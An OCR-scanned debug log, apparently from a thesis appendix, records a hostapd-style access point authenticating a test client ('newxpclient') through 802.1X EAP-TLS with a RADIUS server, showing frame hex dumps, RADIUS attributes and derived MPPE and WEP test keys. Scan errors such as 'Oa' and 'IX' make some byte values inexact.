dump:  Oa  02  3a  01  00  05  5d  d9  57  59  00  05  5d  d9  8d  ae  00  05  5d  d9  8d 
ae  50  44  aa  aa  03  00  00  00  88  8e  01  00  00  Oa  01  01  00  Oa  01  68  65  6c  6c 
6f 

DATA  (TX  callback)  ACK 

Received  37  bytes  management  frame 

dump:  08  01  02  01  00  05  5d  d9  8d  ae  00  05  5d  d9  57  59  00  05  5d  d9  8d 
ae  cO  01  aa  aa  03  00  00  00  88  8e  01  01  00  00  00 
DATA 

IEEE  802. IX:  5  bytes  from  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  version=I  type=I  length=0 
ignoring  I  extra  octets  after  IEEE  802. IX  packet 
EAPOL-Start 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  AUTH_PAE  entering  state  CONNECTING 
IEEE  802. IX:  Sending  EAP  Request-Identity  to  00 : 05 : 5d:d9 : 57 : 59 
(identifier  I) 

IEEE  802. IX:  00 : 05 : 5d : d9 : 57 : 5 9  REAUTH_TIMER  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
Received  46  bytes  management  frame 

dump:  Oa  02  3a  01  00  05  5d  d9  57  59  00  05  5d  d9  8d  ae  00  05  5d  d9  8d 
ae  60  44  aa  aa  03  00  00  00  88  8e  01  00  00  Oa  01  01  00  Oa  01  68  65  6c  6c 
6f 

DATA  (TX  callback)  ACK 

Received  52  bytes  management  frame 

dump:  08  01  02  01  00  05  5d  d9  8d  ae  00  05  5d  d9  57  59  00  05  5d  d9  8d 
ae  dO  01  aa  aa  03  00  00  00  88  8e  01  00  00  10  02  01  00  10  01  6e  65  77  78 
70  63  6c  69  65  6e  74 
DATA 

IEEE  802. IX:  20  bytes  from  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  version=I  type=0  length=16 
EAP:  code=2  identifier=I  length=16  (response) 

EAP  Response-Identity 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  AUTH_PAE  entering  state  AUTHENTICATING 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  BE_AUTH  entering  state  RESPONSE 
Encapsulating  EAP  message  into  a  RADIUS  packet 
Sending  RADIUS  message  to  authentication  server 

RADIUS  message:  code=l  (Access-Request)  identifier=0  length=160 
Attribute  1  (User-Name)  length=I3 
Value:  ' newxpclient ' 

Attribute  4  (NAS-IP-Address)  length=6 
Value:  131.120.8.145 
Attribute  5  (NAS-Port)  length=6 
Value:  1 

Attribute  30  (Called-Station-Id)  length=24 
Value:  ' 00-05-5D-D9-8D-AE : test ' 

Attribute  31  (Calling-Station-Id)  length=19 
Value:  ' 00-05-5D-D9-57-59 ' 

Attribute  12  (Framed-MTU)  length=6 
Value:  2304 

Attribute  61  (NAS-Port-Type)  length=6 
Value:  19 

Attribute  77  (Connect-Info)  length=24 
Value:  'CONNECT  11Mbps  802.11b' 
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Attribute  79  (EAP-Message)  length=18 
Attribute  80  (Message-Authenticator)  length=18 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
Received  52  bytes  management  frame 

dump:  08  01  02  01  00  05  5d  d9  8d  ae  00  05  5d  d9  57  59  00  05  5d  d9  8d 
ae  eO  01  aa  aa  03  00  00  00  88  8e  01  00  00  10  02  01  00  10  01  6e  65  77  78 
70  63  6c  69  65  6e  74 
DATA 

IEEE  802. IX:  20  bytes  from  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  version=I  type=0  length=16 
EAR:  code=2  identifier=I  length=16  (response) 

EAP  Response-Identity 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
Received  64  bytes  from  authentication  server 
Received  RADIUS  message 

RADIUS  message:  code=ll  (Access-Challenge)  identifier=0  length=64 
Attribute  79  (EAP-Message)  length=8 
Attribute  80  (Message-Authenticator)  length=18 
Attribute  24  (State)  length=18 
RADIUS  packet  matching  with  station  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  BE_AUTH  entering  state  REQUEST 
IEEE  802. IX:  Sending  EAP  Packet  to  00 : 05 : 5d:d9 : 57 : 59  (identifier  2) 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
Received  42  bytes  management  frame 

dump:  Oa  02  3a  01  00  05  5d  d9  57  59  00  05  5d  d9  8d  ae  00  05  5d  d9  8d 
ae  90  44  aa  aa  03  00  00  00  88  8e  01  00  00  06  01  02  00  06  Od  20 
DATA  (TX  callback)  ACK 
Received  148  bytes  management  frame 

dump:  08  01  02  01  00  05  5d  d9  8d  ae  00  05  5d  d9  57  59  00  05  5d  d9  8d 


ae 

fO 

01 

aa 

aa 

03 

00 

00 

00 

CO 

CO 

8e 

01 

00 

00 

70 

02 

02 

00 

70 

Od 

80 

00 

00 

00 

66 

16 

03 

01 

00 

61 

01 

00 

00 

5d 

03 

01 

40 

06 

dl 

58 

59 

2c 

af 

d8 

f8 

le 

81 

19 

ca 

6e 

c5 

66 

34 

d6 

a6 

28 

85 

47 

61 

eb 

69 

e8 

c9 

3c 

8f 

a4 

aO 

00 

20 

81 

90 

a4 

11 

52 

ad 

3b 

Ob 

8f 

fl 

cd 

8a 

98 

ce 

08 

51 

41 

c8 

f5 

75 

34 

35 

54 

84 

9b 

7a 

08 

f5 

73 

5d 

dO 

82 

00 

16 

00 

04 

00 

05 

00 

Oa 

00 

09 

00 

64 

00 

62 

00 

03 

00 

06 

00 

13 

00 

12 

00 

63 

01 

00 

DATA 

IEEE  802. IX:  116  bytes  from  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  version=I  type=0  length=I12 
EAP:  code=2  identifier=2  length=112  (response) 

EAP  Response-TLS 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  BE_AUTH  entering  state  RESPONSE 
Encapsulating  EAP  message  into  a  RADIUS  packet 
Sending  RADIUS  message  to  authentication  server 


RADIUS  message:  code=l  (Access-Request)  identifier=7  length=1164 
Attribute  1  (User-Name)  length=I3 
Value:  ' newxpclient ' 

Attribute  4  (NAS-IP-Address)  length=6 
Value:  131.120.8.145 
Attribute  5  (NAS-Port)  length=6 
Value:  1 

Attribute  30  (Called-Station-Id)  length=24 
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Value:  ' 00-05-5D-D9-8D-AE : test ' 

Attribute  31  (Calling-Station-Id)  length=19 
Value:  ' 00-05-5D-D9-57-59 ' 

Attribute  12  (Framed-MTU)  length=6 
Value:  2304 

Attribute  61  (NAS-Port-Type)  length=6 
Value:  19 

Attribute  77  (Connect-Info)  length=24 
Value:  'CONNECT  11Mbps  802.11b' 

Attribute  79  (EAP-Message)  length=255 
Attribute  79  (EAP-Message)  length=255 
Attribute  79  (EAP-Message)  length=255 
Attribute  79  (EAP-Message)  length=239 
Attribute  24  (State)  length=18 

Attribute  80  (Message-Authenticator)  length=18 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 

Received  ill  bytes  from  authentication  server 
Received  RADIUS  message 

RADIUS  message:  code=Il  (Access-Challenge)  identifier=7  length=lll 
Attribute  79  (EAP-Message)  length=55 
Attribute  80  (Message-Authenticator)  length=18 
Attribute  24  (State)  length=18 
RADIUS  packet  matching  with  station  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  BE_AUTH  entering  state  REQUEST 
IEEE  802. IX:  Sending  EAP  Packet  to  00 : 05 : 5d : d9 : 57 : 5 9  (identifier  11) 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 

Received  89  bytes  management  frame 

dump:  Oa  02  3a  01  00  05  5d  d9  57  59  00  05  5d  d9  8d  ae  00  05  5d  d9  8d 
ae  90  47  aa  aa  03  00  00  00  88  8e  01  00  00  35  01  Ob  00  35  Od  80  00  00  00 

2b  14  03  01  00  01  01  16  03  01  00  20  00  49  dl  Of  a2  35  ca  70  91  52  96  46 

fc  cc  25  cc  65  ea  81  31  7e  21  5f  2a  fO  Oc  df  05  06  37  55  5b 

DATA  (TX  callback)  ACK 
Received  42  bytes  management  frame 

dump:  08  01  02  01  00  05  5d  d9  8d  ae  00  05  5d  d9  57  59  00  05  5d  d9  8d 
ae  60  03  aa  aa  03  00  00  00  88  8e  01  00  00  06  02  Ob  00  06  Od  00 
DATA 

IEEE  802. IX:  10  bytes  from  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  version=l  type=0  length=6 
EAP:  code=2  identif ier=l 1  length=6  (response) 

EAP  Response-TLS 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  BE_AUTH  entering  state  RESPONSE 
Encapsulating  EAP  message  into  a  RADIUS  packet 
Sending  RADIUS  message  to  authentication  server 

RADIUS  message:  code=l  (Access-Request)  identifier=8  length=168 
Attribute  1  (User-Name)  length=13 
Value:  ' newxpclient ' 

Attribute  4  (NAS-IP-Address)  length=6 
Value:  131.120.8.145 
Attribute  5  (NAS-Port)  length=6 
Value:  1 

Attribute  30  (Called-Station-Id)  length=24 
Value:  ' 00-05-5D-D9-8D-AE : test ' 

Attribute  31  (Calling-Station-Id)  length=19 
Value:  ' 00-05-5D-D9-57-59 ' 

Attribute  12  (Framed-MTU)  length=6 

119 


Value:  2304 

Attribute  61  (NAS-Port-Type)  length=6 
Value:  19 

Attribute  77  (Connect-Info)  length=24 
Value:  'CONNECT  11Mbps  802.11b' 

Attribute  79  (EAP-Message)  length=8 
Attribute  24  (State)  length=18 

Attribute  80  (Message-Authenticator)  length=18 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
Received  173  bytes  from  authentication  server 
Received  RADIUS  message 

RADIUS  message:  code=2  (Access-Accept)  identifier=8  length=173 
Attribute  26  (Vendor-Specific)  length=58 
Attribute  26  (Vendor-Specific)  length=58 
Attribute  79  (EAP-Message)  length=6 
Attribute  80  (Message-Authenticator)  length=18 
Attribute  1  (User-Name)  length=13 
Value:  ' newxpclient ' 

RADIUS  packet  matching  with  station  00 : 05 : 5d:d9 : 57 : 59 

MS-MPPE-Send-Key  (len=32) :  46  2b  a4  7c  88  4a  d5  f8  f4  54  fl  ba  fd  df  56 

19  a4  23  f8  aa  5b  e4  f3  5d  5a  19  a7  94  ac  7a  d4  d3 

MS-MPPE-Recv-Key  (len=32) :  Od  74  4b  e2  30  ac  23  ed  3b  fl  el  ba  66  55  c7 

a4  b5  07  78  7a  c5  91  43  04  46  4c  ce  82  60  ab  2a  57 

IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  BE_AUTH  entering  state  SUCCESS 
IEEE  802. IX:  Sending  EAP  Packet  to  00 : 05 : 5d : d9 : 57 : 5 9  (identifier  11) 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  REAUTH_TIMER  entering  state  INITIALIZE 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  AUTH_KEY_TX  entering  state  KEY_TRANSMIT 
IEEE  802. IX:  Sending  EAPOL-Key(s)  to  00 : 05 : 5d:d9 : 57 : 59  (identifier  11) 
IEEE  802. IX:  Sending  EAPOL-Key  to  00 : 05 : 5d:d9 : 57 : 59  (broadcast  index=l) 
Individual  WEP  key  -  hexdump ( len=5 ) :  f8  bf  5d  05  d2 

IEEE  802. IX:  Sending  EAPOL-Key  to  00 : 05 : 5d:d9 : 57 : 59  (unicast  index=0) 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  AUTH_PAE  entering  state  AUTHENTICATED 
IEEE  802. IX:  Authorizing  station  00 : 05 : 5d:d9 : 57 : 59 
IEEE  802. IX:  00 : 05 : 5d:d9 : 57 : 59  BE_AUTH  entering  state  IDLE 

Signal  2  received  -  terminating 
Removing  station  00 : 05 : 5d:d9 : 57 : 59 
Flushing  old  station  entries 
Deauthenticate  all  stations 
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